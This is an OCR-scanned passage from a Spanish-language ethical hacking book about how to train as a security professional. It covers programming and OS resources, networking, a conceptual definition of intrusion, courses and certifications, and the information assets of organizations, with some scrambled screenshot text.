1 m 1o, CyRaNo psip - Estadisticas
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Noticias

Psicofxp. En www.psicofxp.com, podemos
encontrar mucha ayuda cuando comenzamos a programar.

Ademis, en Internet podemos encontrar repositorios de cédigo y tutoriales de to-
dos los lenguajes existentes. Veamos algunos sitios.

FreeBSD, NetBSD y OpenBSD
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LENGUAJE URL

Planet Source Code www.planet-source-code.com

Linux Scripting www.freeos.com/guides/lsst

Programacion Bash xinfo.sourceforge.net/documentos/bash-scripting/
bash-script-2.0.html

Win32 Scripting http://cwashington.netreach.net

Assembly www.csn.ul.ie/~darkstar/assembler/manual

Python www.python.com.ar

o www.cti.uib.es/MESINFO/MANUALS/CursC.pdf

C++ www.conclase.net/c

Perl http://perlenespanol.baboonsoftware.com

Visual Basic www.vb-mundo.com

PHP www.php.net

ASP www.soloasp.com.ar

Javascript www.gamarod.com.ar

Programacion. Sitios en los que podemos encontrar
material sobre distintos lenguajes de programacion.

Aprender acerca de los sistemas operativos

Los grandes escenarios suelen estar compuestos por diferentes componentes o set-
vidores bajo plataformas como Unix, Solaris, Linux, FreeBSD, OpenBSD o Win-
dows Server. Por lo tanto, no es recomendable dedicarse s6lo a conocer y adminis-
trar una plataforma unica si estamos decididos a abordar la seguridad informatica
en cuestiones técnicas (a menos que deseemos especializarnos y delegar el resto del
trabajo) o bien formar parte de un equipo.

Los chequeos de seguridad se pueden llevar a cabo desde diferentes sistemas ope-
rativos ya que no todos ofrecen las mismas condiciones de trabajo, versatilidad y
herramientas. Para mejorar nuestros conocimientos, un buen comienzo es apren-
der a administrar estos sistemas operativos, conocer como funcionan, su configu-
racion segura y de red, su estructura interna, los comandos usuales y los avanzados,
los controles que tiene, sus logs o archivos de auditorfa, cémo instalar aplicaciones
en ¢l y también setearlas, como actualizarlo, parchearlo o modificarlo, y ver la es-
tructura y las limitaciones en los privilegios de cada grupo de usuarios.
Loégicamente, para aprender a administrar un servidor, ya sea Unix, Linux o Win-
dows, primero hay que instalarlo. Luego se deben utilizar sus comandos y estudiar
su estructura interna, gestionar los usuarios del sistema y sus diferentes permisos,
conocer cada servicio nativo y deshabilitar aquellos que sean innecesarios, crear re-
laciones de confianza entre otros componentes en red a través de diversos méto-
dos. También, auditar sus archivos de registro, conocer bien los logs y cual es la in-

26



formacion relevante que se deposita en ellos, intentar el filtrado de protocolos y co-
nexiones externas, mantener actualizado todo lo posible (incluido el kernel en el ca-
so de Linux), determinar qué cosas no pueden dejarse por defecto (como pass-
words, usuarios, aplicaciones, paths o directorios, privilegios, configuraciones o ar-
chivos), probar aplicaciones y tecnologfas usuales como apache, mysql u openssl.
De ese modo, se comienzan a aplicar los métodos de hardening, que significa vol-
ver mas seguro cl servidor, y se van adquiriendo nociones de administracion avan-
zada. A su vez, esto nos ayuda a conocer las caracteristicas débiles de un sistema
instalado por default, lo que nos permitira reconocerlas facilmente en los futuros
escenarios en los que estemos involucrados.

La instalacién y la administracion seguras de servidores llevada a cabo de un modo
realmente eficiente, ayudara a prevenir la intromision en el sistema (a través del sis-
tema operativo) de alguien no autorizado. De todos modos, un sistema operativo
es apenas una puerta entre la decena de posibilidades.

- c 24 | L | http:ffwww.bsdargentina.com.ar/ Wt El'i

Historia Ventajas Descargas Subir Manual Foro Noticias Colahord Contactenos

) KNI ARZECENTTINIA O =)

- Nuestro objetivo: Difundir sistemas BSD libres - - - jBienvenidos a BSD Argentina! - - -

FreeBSD 7.0 FreeBSD 7.0

“Finalmente la larga espera terminé con el anuncio de la disponibilidad de FreeBSD 7.0-RELEASE, el primer NetBSDI0

lanzamiento de la nueva rama 7-STABLE, que ademés introduce muchas nuevas caracteristicas y mejoras en la OPEnBSD 4.2
funcionalidad con respecto a sus versiones anteriores, entre ellas:Ver nota completa DragonFly 1.12.

PCE3SD PC-BSD 1.5: Facil - Seguro - Confiable EC-BEDITS

?;’;.?::,%%?,“.m’ Uno de los principales inconvenientes para la adopcién de BSD por el piblico en general es la relativa DesktopBSD 1.6

complejidad de instalacién y uso del sistema. PC-BSD elimina estos inconvenientes dando como resultando RoFreeSBIE 1.3
n sistema facil de instalar por su interfaz grafica, seguro por estar basado en FreeBSD y confiable por ser BSD. Ademas hemos FreeSBIE 2.0.1
realizado un manual paso a paso de como instalarlo compartiendo el mismo disco rigido con Windows® que esperamos sea de

Interés y los convenza de probar lo que es para nosotros la mejor opcién en sisternas de escritorio. Ver nota completa Manualles BSD
.. Actualizacion (1
Nueva Version del Sr. OS... FreeBSD 6.3 préfcos
El equipo de ingenieria FreeBSD anuncié hoy la disponibilidad de FreeBSD 6.3-RELEASE. Este lanzamiento Juegos
continia el desarrollo de la rama 6-STABLE y proporciona mejor funcionamiento y mayor estabilidad. Algunas/ Multimedia
nodevades: Redes
Seguridad
Servidores
rowereclby, Sistema (1)
FreeBSD Software
3 Hardware (1)
Otros (4)

BSD. En www.bsdargentina.com.ar,
encontraremos foros y diverso material acerca de la familia BSD.

Ante alguna duda puntual relacionada con los sistemas operativos, debemos recordar
que en Internet se encuentran listas de correo de usuarios, mailings oficiales de los
desarrolladores, mailings de empresas con productos afines (por ejemplo eEye), fo-
ros de discusion, canales IRC, blogs, FTIP, cursos, libros, e-zines, monografias, gru-
pos de usuarios, asociaciones, desarrolladores, depdsitos de aplicaciones y codigo fuente.
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Aprender acerca de networking

El conocimiento de networking y todo aquello referente a redes (como protocolos
y conectores, routing y switching, entre otras cosas) es basico para el disefo y la
diagramacion de entornos de una organizacion, pero resulta fundamental para un
futuro profesional de ethical hacking.

<J

- e X R}’(' http:{fwww.rfc-es.orgf SJ - [G|'

4
| D‘ (‘J & Grupo de Traduccidn
Dt al castellano de RFC

Inicio | Descarga de RFC-es | Documentacion Traductores | Como colaborar | Créditos

viemnes, 25 de abril de 2|

Esta pagina esta dedicada a J. Postel
B Noticias
Documentos RFC en espanol
Fecha: 03-03-2007

Bienvenido a RFC-ES. Este sitio esta dedicado a la traduccidn al espafiol de la documentacidn estandar sobre Publicada la traduccién del RFC 1034 con
Intemet conocida como RFC (Request For Comments). En esta serie de documentos se detalla practicamemnte titulo Nombres de d Mo p
todo lo relacionado con la tecnologia de la que se sitve Internet: protocolos, recomendaciones, ¢ icaciones... i lacié

La coleccién completa de RFCs esté formada por mas de 3000 documentos gue especifican estandares, son
recomendaciones, informativos o han quedado obsoletos. El encargado de publicarlos es el Editor de RFCs y,
aungue cualquiera puede proponer un RFC, el IETF es una de las principales fuentes.

Fecha: 18-09-2006
Publicada la traduccién del RFC 2411 con
titulo Documento de Guia para IPsec.

Hasta aqui todo es perfecto pero los RFCs estén escritos en inglés y... jqué ocurre si tu conocimiento de la lengua

de Shakespeare no llega para entender los conceptos que dan a conocer los RFCs? Tienes dos opciones: o Fecha: 17-09-2006

aprendes a ritmo acelerado o... jaqui estamos nosotros! Publicada la traduccién del RFC 2410 con
titulo El uso del Algoritmo de Encriptac|

El grupo RFC-ES NULL y su uso con IPsec.

Para rellenar esa ausencia de traducciones al castellano o espafiol de documentos tan importantes, surge en Fecha: 17-09-2006

noviembre de 1999 el grupo RFC-ES por iniciativa de Pierre J. Ledn. El propésito del grupo es traducir la mayor Publicada la traduccién del RFC 2406 con

cantidad de RFCs posible a nuestra lengua, dando prioridad a aquellos que sean estandares. titulo Carga de Seguridad IP Encapsuld
(ESP).

RFC. Los RFC (Request For Comments) son los estandares que definen
cada uno de los componentes de Internet. Consisten en la lectura basica y muy
detallada de los protocolos utilizados. Los podemos ver en espafiol en www.rfc-es.org.

Esto nos permitira no sélo llevar a cabo el chequeo de seguridad e interpretar el
mapeo de los componentes, sino también determinar exactamente el flujo de infor-
macioén, la disposicion de las oficinas y sus componentes informaticos, las medidas
de prevencion en el trafico de red, el almacenamiento de datos, su acceso, su pro-
ceso o posterior enrutamiento, medidas técnicas de contingencia y controles.

Al mismo tiempo, nos permitira estar capacitados para recomendar los compo-
nentes necesarios de seguridad o conectividad como DMZ, firewalls, criptosiste-
mas, routers, switchs, filtrados varios, IDS, databases, servidores seguros de archi-
vos, servidores de logs, servidores de replicacion, determinados enlaces cifrados,
VPNs, VLANSs, unidades de logueo seguro, cableado estructural blindado, etcéte-
ra.

Entre todo el material disponible, lo principal es conocer coémo se comunican es-
tos elementos (sumado a los servidores y terminales) entre sf, sus capas, sus proto-
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colos, su configuracion y las normas técnicas de cada uno.

Microsoft Visio
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Elegir un tipo de dibujo
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Diagrama de red bésica
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reciente sobre como

Actualizar esta lista
autométicamente def

Mas...

Buscar:

I

Ejemplo: “Imprimir mas d
Abrir B |
[ Abrir...

|_) Crear un dibujo nue:

Visio. La aplicacion Visio, del paquete Office de Microsoft, es muy utilizada
para plasmar de forma grafica la disposicion de todos los componentes de un escenario
informatico. También sirve para diagramacion logica y organigramas, entre otros graficos.

Conocer técnicas basicas de intrusion

“Cuando estas empezando, no necesitas herramientas. Ese es el
modo en que te volveras un script kiddie. Lo que necesitas es en-
tender. Necesitas saber como trabajan los sistemas, qué errores

pueden cometer sus programadores o administradores para que

éstos se vuelvan vulnerables y como esos errores pueden ser ex-

plotados de modo que se pueda ingresar en el sistema.

Una vez que entiendas qué es lo que estas haciendo, estaras pre-
parado para elegir la herramienta correcta para la circunstancia
correcta. Una vez que has elegido la herramienta, ésta s6lo hara

tu proceso mas eficiente”. Derek Fountain (En: Bugtraq)

Antes de hablar de estas técnicas, debemos saber qué se entiende por intrusion.
Para definirlo de un modo simple, significa lograr el acceso a recursos de un siste-

ma sin tener la autorizacion de su duefio o de quien lo controla. Quien lleve a ca-

bo este tipo de accesos no permitidos es lisa y llanamente un intruso, sea como
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fuere que lo cataloguen los medios, las autoridades o el resto de la gente.

Aunque existen muchas formas de intrusion, aqui veremos ejemplos del ambito in-
formatico, es decir, el ingreso de terceros no autorizados en la informacién (alma-
cenada o en flujo) en estado digital de una organizacién. De todas maneras, debe-
mos tener en cuenta que en el sistema de cualquier organizacion, los datos vitales
suelen estar en una amplia gama de soportes, como papel, memorias diversas, cin-
tas, audio, pizarras, paneles, ondas de radio, video, diapositivas y mas. Varios de es-
tos medios son llamados fungibles porque se agotan con su uso, como las cintas o
el papel.

El intruso puede lograr acceso no autorizado a informacion de modo:

e Hisico: in situ, estando frente a la maquina.

* Remoto, local o ambos a la vez.

* Por cable: via Internet o linea telefonica.

* Por ondas: wireless.

* Por radiacién: eavesdropping.

* Por vista u oido: a distancia.

* A través de una interfaz gréfica.

* A través de un intérprete de comandos.

* A través de un intérprete de comandos a ciegas, sin ver el resultado de lo que se
ejecuto en el servidor remoto.

Entrar no solo significa introducir el usuario y la clave en un determinado servicio
de autentificaciéon remota como telnet, ssh, terminal service, rlogin, ftp, y todos
aquellos que soliciten ingresar validacion. Puede significar la realizaciéon de una es-
calada, que consiste en una sucesion de actos que llevan a lograr cada vez mayor
alcance dentro del sistema para, finalmente, obtener una cuenta de elevados privi-
legios o el propdsito que se haya impuesto el ejecutor. Por ejemplo, enviar por
email o ftp determinado archivo o database al exterior, agregar un usuario de pri-
vilegios en el sistema o, simplemente, entrar y ocultar su rastro para que en el fu-
turo se pueda utilizar ese servidor para otros propositos. Esto podria llevar meses
o minutos, y las mas variadas técnicas, ya sea a través del mismo sistema operativo,
de alguna aplicacién o de algin descuido del administrador (hablamos siempre de
servidores con administrador y no de simples terminales de usuarios con Windows
XP).

Sin dudas, un intruso se aprovechara de los descuidos humanos, ya que todos los
componentes del sistema fueron desarrollados, seteados u organizados por perso-
nas; por eso tienen falencias que son potencialmente explotables. Entonces, ¢cual
es la mejor forma de aprender técnicas de intrusiéon? En principio, conocer el obje-
tivo, empezando por el sistema operativo (con esto no hacemos referencia a elemen-
tos del tipo Windows 98, sino a Linux, la familia BSD y la familia Windows Server).
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Los descuidos de administracién son dificiles de descubrir y explotar si no se conoce
profundamente el sistema operativo o la aplicacion en si. Imaginemos el tiempo que
llevarfa aprender, sobre la marcha de un chequeo, las caracteristicas de un sistema ope-
rativo (y sus aplicaciones) o todos los componentes de un escenario.

Hay que estar informado acerca de las nuevas vulnerabilidades o descubritlas por
uno mismo si se tiene el tiempo para hacerlo, siendo muy til la habilidad de en-
contrarlas y poder programar su exploit (prueba de concepto). También es bueno
saber como identificar un sistema y reconocer si es potencialmente explotable su
modelo, version o estado. Para ello, podemos recurrir a los incontables libros y
whitepapers, honeypots, wargames, concursos, listas de correo profesionales, e-zi-
nes y foros serios. Ademas podemos montar una red hogarefia para practicar, ma-
quinas virtuales en Vmware o hacetlo en el trabajo si es posible.

v c 24 | L] | http:ffwww.hide-ip-browser .comf . IG!'

H '| d e - I p - B rowse r‘ Download Buy Support affiliates Contact Blog

Discover the online anonymity made simple!

The ultimate hide ip address software. Find out how to hide your ip address easily.
Hiding your real IP address is th ue th: up

identi i i ide-Ip-Browser you can surf any Web AT T
Your IP: 85.214.40.81 located in GERMANY Country Code DE =
Site, Web-based Email services, Newsgroups, Web Blogs and Forums using a .

different ip address.

O 3 Easy Steps: @Select a new IP from a Different Country or Location @SET! @ (clo]}

IP. Hide-Ip-Browser (www.hide-ip-browser.com) es un
software que permite mantener el anonimato al navegar sitios y al postear
en foros. Esto lo realiza mediante la eleccién de diferentes servidores proxys.

Sobre los cursos que se ofrecen en Internet, ya sean de seguridad o de ethical hac-
king, hay que tener en cuenta que por estos dfas, la Web es masiva y hay muchos

Listas de Correo

En estas listas de correo nos ayudaran a encontrar respuestas a nuestras preguntas:
www.segu-info.com.ar, en espanol (forosil; www.issaarba.org, en espanol (ISSAArBAJ;
www.securityfocus.com, en inglés (Bugtrag/Security Basics); www.infosecnews. org,
en inglés (ISN); www.elistas.net/lista/nnl, en espafol (NNL Newsletter).
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empresarios que brindan dudosos cursos (obsoletos o incompletos) para asi apro-
vecharse de la ignorancia de la gente y ganar dinero. Esto no significa que todos
los cursos son malos, pero en gran parte son una pérdida de recursos. Para no co-
rrer riesgos, es bueno tomar estos recaudos:

1. Dentro de una lista de correo de seguridad, preguntar a los profesionales cual se-
rfa el curso adecuado segun nuestro nivel, interés, fin o recursos econémicos.

2. Evaluar, tras haber hablado con alguien que haya cursado allf, cuales fueron los
costos totales, las horas, el alcance, si tienen programa o entregan material de es-
tudio, cual es el seguimiento del aprendizaje, qué clase de titulo o certificado en-
tregan al finalizar y qué reconocimiento tiene éste en el mercado laboral local o
mundial. También serfa bueno saber si la persona que nos informa quedé con-
forme y en qué aspectos el curso fue flojo, o no se cumplié con lo prometido.

3. Comprobar la experiencia real en seguridad de quien o quienes imparten el cur-
so o el programa de estudio que esta por pagarse. No estda mal pedir referencias
o curriculum vitae, y en lo posible conviene hacerlo de modo formal, por telé-
fono o en la oficina misma.

Educacion formal

Hoy en dfa, no existe una carrera de grado formal de nivel universitario (de varios afios
de duracién) sobre seguridad informatica que comprenda, en su contenido, al ethical
hacking de modo prictico (hands on). Apenas hay algunos postgrados, cettificaciones
y tecnicaturas relacionadas. Si hay carreras como analista de sistemas, ingenieria en sis-
temas, licenciatura en sistemas, doctorados, especializaciones y maestrias, que son
buenos formadores de base para la materia. Allf se estudian las tecnologias compren-
didas en los sistemas, protocolos, sus procedimientos, técnicas, disefio y organizacion.
El estudio formal, de alguna manera, modelara todo lo que aprendamos de mane-
ra autodidacta, y no sélo en relacién con los contenidos de las materias, sino tam-
bién porque enfrentarnos a numerosos examenes escritos y orales nos dara cierto
temple ante pequefios desafios reales, de resolucion analitica.

Lecturas adicionales

Es recomendable leer libros de Auerbach, la serie Hacking Exposed, de McGraw-Hill,
de Sybex, de O'Reilly, de CRC Press, de Syngress, de Actualtests, de Learnkey, todos
los de tematica CISSP, los 31 ejemplares de Hackxcrack y hacking. Ademas, es intere-
sante ver: www.zipsites.ru/books/edocs/edocs_Llist.php y www.insecuremag.com
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Como si fuera poco, también se obtienen otros puntos de vista que serviran pa-
ra abordar problemas, se conocen colegas que en algunos aspectos pueden ser
mas experimentados, se practica en laboratorios o entornos de red, se forman
contactos de trabajo y estudio, se escuchan anécdotas y experiencias muy valio-
sas por parte de profesores o compafieros, entre otras cosas.

La educacion formal es muy tenida en cuenta por las consultoras de RRHH gra-
cias al titulo que brinda. Muchos autodidactas han sido rechazados por no po-
seer titulo alguno, sin siquiera tener la posibilidad de demostrar sus habilidades
aun siendo excelentes pentesters y analistas.

En cuanto a las certificaciones de seguridad, hay mas de 20, como podemos ver
en http://certification.about.com/od/securitycerts/a/seccertessentls.htm. Algu-
nas son consideradas como requisitos en determinadas organizaciones por su de-
partamento de recursos humanos, pero como todo titulo, pueden no ser el verda-
dero reflejo de la capacidad y preparacién de quien lo posee.

= &‘J /Ll} \ https:!lwww.iscg.orglcgi-binlindex.cgi

MEMBER LOG IN
Member ID Password

C 2° .
(I S ) SECURITY TRANSCENDS TECHNOLOGY

Forgot your Password or Member ID?
Log In Help

Education Examinations Credential Offerings Employers News & Information Member Benefits
Support for Every Step of Your Information Security Career

The
Elections
Are a
Year Early!

ISC. (ISC)2 es reconocida en todo el mundo por
certificar profesionales CISSP. Fundada en 1989, pasaron por
sus examenes mas de 50.000 profesionales. Su direccién es www.isc2.org.

En la preparacion de estos examenes, suelen aprenderse cosas interesantes o totalmen-
te desconocidas, y es recomendable que todo aquel interesado en sumar experiencias

Ejercicios de programacién

En http://community.corest.com/~gera/InsecureProgramming, podemos encontrar
ejercicios de programacion avanzada relacionada a fallas. Esto es util ya que, cuanto
mas practiquemos (programemos), mejor seran nuestras habilidades para resolver
problemas mediante programacion.

33



en seguridad tome estos examenes de certificacién por una cuestiéon formal. Esto le
permitira ser un mejor candidato en las selecciones de los departamentos de recursos
humanos.

A continuacion, podemos leer parte de las declaraciones de Ivan Arce (CTO de
Core Security Technologies) acerca de la formacion del profesional de seguridad, y
mas precisamente sobre las certificaciones de seguridad. La entrevista completa se
puede leer en www.acis.org.co/fileadmin/Revista_96/entrevista.pdf (Gracias
Ivan por autorizar su reproduccion).

- :Cémo se manejan las certificaciones, cudl es su alcance y aplicabilidad real
en las empresas?

Dificilmente, una certificaciéon de seguridad es un indicativo de la capacidad,
experiencia o conocimiento real de un individuo en la materia. A lo sumo, es
un indicativo de la existencia de algin tipo de formacién bdsica en el tema, si-
guiendo la pauta del programa particular que puede ser malo, mediocre o me-
dianamente bueno.

Un experto en seguridad informética no se forma como resultado de la acumu-
lacién de cursos y certificaciones, sino de la acumulacién y la aplicacién de una
disciplina de trabajo y de estudio adquirida en otro contexto -escuela, univer-
sidad, trabajo, casa, etc.-, combinada con las capacidades creativas, de innova-
cién, perseverancia y adaptacién, propias de cada individuo.

No obstante, eso no impide que las certificaciones se adopten y se usen como
un indicador de capacidad profesional y principalmente como un mecanismo
del mercado laboral y de capacitacién profesional, para establecer jerarquias,
niveles salariales, planes de capacitacién y justificar diversos tipos de decisio-
nes y proyectos. -

Es muy importante que en el método formal de estudio no se estudie memori-
zando los contenidos sin llegar a comprenderlos, ya que en el momento de en-
frentar la problematica, esto complicara realmente las cosas.

En el trabajo, esto es importante porque no se puede estar googleando en me-

Cémo saber qué carrera elegir

Consultando a profesionales en listas y dandoles detalles. Por Ej., si alguien desea dedi-
carse al cifrado de datos, es probable que le recomienden una licenciatura en matemati-
cas. A quien desea dedicarse a escribir procedimientos o normativas, le dirdn que estudie
Analista de sistemas de informacion, que posee materias como Organizacion y métodos.
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dio de una intrusion de terceros en algin componente del sistema de la organi-
zacion o en medio de una reunién ejecutiva. En un examen, porque los profe-
sores se daran cuenta de que se esta recitando un contenido de memoria, ya que
tienen experiencia en escuchar alumnos o leer sus textos afio tras afio, y es un
grave error subestimar a un profesor de esa manera.
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Diversica :: Buscar Alfabéticamente
Tecnologia Hacé’cllick en cada letra y acsedé al listado de carreras ordenado « Diplomado en Técnicas de Manejo
Empresas alfabeticamente Conductual aplicadas a nifios y
Especiales al [b] [c] [d] [e! h adolescentes
e llL-l][![]JMLl{llLl;l_nlu[mmﬁllﬂLllM * Méaster On-line en Responsabilidad
[1 (51 [ [u] (4 (] 4 1 2] Social Corporativa, Contabilidad y

Servicios Auditoria Social

Buscador. Universia (www.universia.com.ar) es el buscador

mas conocido de carreras online, a distancia o presenciales

de nivel universitario o terciario en toda Latinoamérica.

Significa Cisco Certified Network Associated y es una certificacion de Cisco relaciona-
da a networking. Los contenidos estan relacionados con los modelos 0S|y TCP-IP, ca-
bleado estructurado basico, enrutamiento, configuracién de routers, switching, confi-
guracion de switches, VLAN, y tecnologias WAN. Mas informacion en www.cisco.com
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Trabajo & practica

Nadie nace sabiendo, la prictica hace al maestro.
Anénimo

Mediante practica y trabajo se va adquiriendo experiencia real y conocimiento so-
bre el tema. Se logran y mejoran las metodologias propias de trabajo, se conocen
nuevas fuentes, tecnologias y maneras de abordar un desafio. No se puede compa-
rar a alguien que conoce algo por haberlo enfrentado, con alguien a quien sélo se
lo han explicado o que lo leyé. Esto es asi porque de la teoria a la practica hay al-
go que se llama realidad, y ésta suele transformar los resultados esperados.

< v &'—J @ /L_l} | http:{fwww.universobit.comfubit/FSwEvOpen?Openf d: A4ABFE3S1ESCB032573210064A0( | v | [ [C]'

UNIVERSDO
ﬂ ? ’ Programa de Desarrollo de CARRERA

BE IN TOUCH W), sugerencias - Contictenos | Quienes Somos.

"/ Profesionales i

GRU
levimin|

Ingresar P |

Registro Empresa =

Re:istro Pro'f;esional © . % @I ? m noyvien. bre -
_% Tra b a] 0 A partir de las 09.00hs |

por Fecha (= Sheraton Libertador Hotel

por Perfil 6 IT s

p— B ‘ Actualidad laboral del mundo

R 000 | ¥y de Sistemas e Informatica

ontacto Asegurado
TeAvisa . R
Andlisis Personales Sos progmmadar, project manager o analista?

Estds estudiando sistzmas o informdtica?
B> Estds trabajando o desarrollando en IT?

PROGRAMA DE INSCRIBITE
CONFERENCIAS GRATUITAMENTE

Trabajo. El sitio www.jornadastrabajoit.com.ar
se dedica a reunir jovenes postulantes para algin trabajo
o proyecto IT y ponerlos en contacto con reclutadores de las mejores firmas.

Eventos

Lectura recomendada

Para obtener mas conocimientos acerca de las organizaciones, es recomendable leer
el excelente libro Técnicas de organizacion, sistemas y métodos, de Alberto R. Lardent
(old school de la organizacién) y Claves para el desarrollo de la empresa, de Fernando
Grosso, mas ligado a las e-organizaciones de hoy en dia y las nuevas practicas.
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Hay que tener en cuenta que no sélo por hacer un curso de hacker se es hacker, ni
por rendir una certificacion de seguridad o porque nos asignen un trabajo de che-
queo de seguridad se es un profesional. El sacrificio de llegar a ser un profesional
es realmente alto, y las consecuencias que padecen las organizaciones por no dar
con uno acorde a la situacién, no son tan buenas. De alli la gran importancia que
tiene el reclutamiento de los profesionales por parte de la organizacion.

ORGANIZACIONES FORMALES

El hacking ético se ha convertido en una herramienta para formular
un reconocimiento de las vulnerabilidades que representan una ame-
naza a los activos. El testeador estd actuando como amenaza (hac-
ker), en busca de las vulnerabilidades que permitirdan la exposicion
de un activo, como ser: niimeros de tarjeta de crédito. Al hacer eso,
la prueba tiene el potencial de revelar los elementos fundamentales
necesarios para crear und medida comprensiva y ast emplmr seguri-
dad a través de una organizacion.

James S. Tiller

Las llamadas organizaciones formales, tal como nos ensefian en la teoria académi-
ca de cualquier carrera orientada a sistemas, son aquellas empresas que persiguen
un objetivo a través de procesos administrativos, gestion de informacién y produc-
cion de elementos o servicios para colocar en un mercado sobre determinado con-
texto, siempre de modo legal y coordinado.

El comun de la gente suele llamarlas grandes empresas, corporaciones o institucio-
nes, y en este apartado enunciaremos algunos de sus aspectos principales para dar
una nocién muy basica de ellas, siempre que tengan una relacion o interaccion con
el uso de ethical hacking, ya que éste es empleado en organizaciones formales. Es-
tas organizaciones poseen, entre otras cosas:

Postularse para entrevistas de trabajo
En las siguientes direcciones: www.universobit.com, trabajoensistemas.com.ar,

empleos.clarin.com, bumeran.com.ar, www.zonajobs.com.ar, www.computrabajo.com
.ar, issaarba.blogspot.com (ver listado de consultoras) y www.tecnoempleo.com
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* Diferentes areas: operativas, administrativas/ejecutivas y gerenciales.

* Un flujo de datos e informacion vital y, por tanto, también un almacenamiento
de éstos y un procesamiento.

* Recursos humanos, técnicos y logicos.

* Responsables.

* Procesos.

* Estructuras jerarquicas sujetas a sectores y dependencias (mirandolo en un orga-
nigrama, desde arriba hacia abajo iran 6rdenes, y de abajo hacia arriba ira infor-
macién de resultados).

- T T T T T

| ——i— -

Jerarquias. Organigrama de ejemplo. Estos definen la estructura
organizativa y estan tipificados bajo una norma IRAM. Puede hacerse
por procesos, departamentos o sectores, jerarquias y productos.

Estas organizaciones, dentro de lo que es su sistema (llamado vulgarmente escenario)
e integridad fisica total, poseen elementos vitales llamados activos, como lo es la in-
formacién sensible o critica. .os activos son muy vatiados y deben clasificarse tanto
en tipo o numero como en importancia (criticidad), aunque sélo haremos foco en el
mas importante. Para eso, primero debemos comprender que no es lo mismo hablar
de datos que de informacion, ya que ésta ultima tiene una importancia significativa pa-
ra la empresa. Por ejemplo, como informacion sensible o critica podemos mencionar:

e Fl listado de clientes con todos sus datos.
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¢ Listado de proveedores, compradores, socios.

* Claves o contrasefas.

¢ Ubicacion de puntos de acceso privados.

* Planos.

¢ Informacién critica o confidencial de tratados, negociados, reuniones, pautas, pactos.

* Combinaciones de cajas fuertes.

* Agendas, rutinas de horario, procesos.

* Inventarios, planillas de venta, compra y stocks.

* Listado de identidades de agentes.

¢ Informacion: personal, catalogos de productos futuros, costos, estadisticas, son-
deos de mercado, balances privados, resultados, disenos, resultados de analisis,
estrategias, participaciones, acciones, materiales, férmulas de productos, ecua-
ciones, grabaciones digitales, tesis, fotos y films privados, investigaciones, némi-
nas de pago, entre otras tantas cosas importantes.

Podemos imaginar muchas situaciones que pueden atentar contra estos activos de la
empresa. Por ejemplo, que un intruso o malware tenga acceso a ellos, que los alteren
o los borren para siempre o que los entreguen a la competencia o al mejor postor.
También existe una enorme cantidad de amenazas naturales, técnicas y humanas (co-
mo un empleado desleal que la roba o copia, por ejemplo) que podrian atentar contra
ellos. Logicamente, en estos tiempos de alta competitividad, el impacto negativo setfa
muy grande. De todas maneras, debemos recordar que la informacion critica es tan
solo uno de los activos que hay que proteger, de los tantos presentes en una organi-
zacion.

Actualmente, las organizaciones necesitan seguridad a través de la incrementacion
de la calidad en sus procesos y el resguardo de sus componentes (activos), a través
de estandares, normas, politicas, controles, seguimiento y la mejora continua de és-
tos. Para ello se practican auditorias de seguridad IT, relevamientos exhaustivos,
y revisiones de los procesos, funciones y tareas relacionadas con las buenas prac-
ticas en seguridad. Todo ello hace a la gestién de la seguridad de la informacién,
como veremos en el capitulo 9, que explica en un punto el tema normativas.

No hay que confundir la gestiéon de la seguridad de la informacién con la segu-

Material acerca de politicas

Si queremos obtener mas informacion sobre politicas y estudiar profundamente so-
bre ellas, podemos visitar los siguientes sitios:

www.segu-info.com.ar/politicas (hay que registrarse en la lista Segu-info) y
www.segu-info.com.ar/articulos/59-escribiendo-politicas-seguridad.htm
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ridad informdtica en el aspecto técnico. Una cosa es reforzar técnicamente la
seguridad de un servidor mediante hardening, y otra es, por ejemplo, redactar
una politica de uso de Internet de modo seguro y responsable por parte de los
empleados. A continuacién, veremos algunos de los descuidos tipicos con los
que una organizacion formal cuenta:

¢ La OF ha crecido de modo desordenado y, por si fuera poco, esta en extremo in-
formatizada, sin seguridad minima o normativa de organizacion alguna. Es el ti-
pico caso de incontables empresas familiares que, por diversos factores politico-
economicos, crecen hasta ser grandes exportadores o importadores, o bien indus-
triales manufactureros, y agrandan su sistema informatico al ritmo de su personal
sin légica alguna, sustentando la seguridad con sélo actualizar el sistema operati-
vo de sus terminales y utilizando algin que otro antivirus, desactualizado. Muchas
de estas empresas saben que tienen que implementar seguridad informatica y de
la informacién, pero no saben cémo abordarlo.

e La OF esta acostumbrada a la reaccion y no a la proaccion (actuar de modo an-
ticipado). Aguarda a que suceda algin incidente para hacer algo, antes de imple-
mentar algo de modo seguro y sin haber comprometido nada por omision, desin-
terés o descuido. Muchas de estas empresas simplemente no se interesan en la in-
version previa en cuestiones de seguridad, a menos que se hayan dado cuenta de
algun incidente de ese tipo, cuando ya es demasiado tarde. No son conscientes de
los beneficios que tiene para la organizacion el penetration testing o chequeo de
seguridad (descubrir las vulnerabilidades del sistema antes de que éstas sean en-
contradas y explotadas por un tercero no autorizado u otra amenaza).

* La OF contrata personal de seguridad con un perfil inadecuado a su escenario y
contexto. (mas detalles sobre este punto en el Cap9)

* La dependencia de su departamento de seguridad hace ineficaces sus politicas.
No logran la interrelacion de sus sectores y no alcanzan el compromiso de la ge-
rencia para que la totalidad del plantel acate las politicas, dando lugar a diferentes
tipos de problemas. Uno de los interrogantes mas comunes en estos casos es de
quién debe depender el departamento Seguridad de la informacion.

e La OF no sabe abordar la redaccion de las politicas de seguridad (o del analisis
de riesgo) o su implementacion. A veces se solapan con politicas de organizacion,
con incidencia en la dinamica de la informacién intersectorial y comunicaciones.

Debemos recordar que la informacion significativa y a tiempo es vital para la toma
de decisiones en lo gerencial, y a la vez decisiva para lograr los objetivos de la or-
ganizacion. El ethical hacking aporta el mecanismo para lograr canales (y reposi-
torios) mas seguros para esa informacién y otros activos.
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NETWORK SECURITY ASSESSMENT

Adéntrate en la nada, acomete contra el vacio, rodea lo que defien-

de, asdltalo donde no te espere. Sun Tzu
(The Art of war)

En las paginas anteriores definimos los puntos mas interesantes:

¢ El intruso como amenaza.

* La organizacion formal (OF) como sistema o escenario en riesgo.

* La gestion y el método organizativo como optimizadores de la OF.
* El activo como valor preciado de la OF.

¢ El hacking ético como herramienta o mecanismo.

* El profesional de seguridad como ejecutor del testeo.

* Las técnicas como parte del network security assessment.

El mayor contenido del libro se basa en este ultimo punto, pero no podiamos lle-
gar a €l y ver s6lo técnicas detalladas de testeo sin antes conocer de qué se trata el
resto, ya que importante saber donde encaja cada uno de estos componentes.

La red estd llena de script kiddies (algunos de ellos si dejan de perder tiempo y
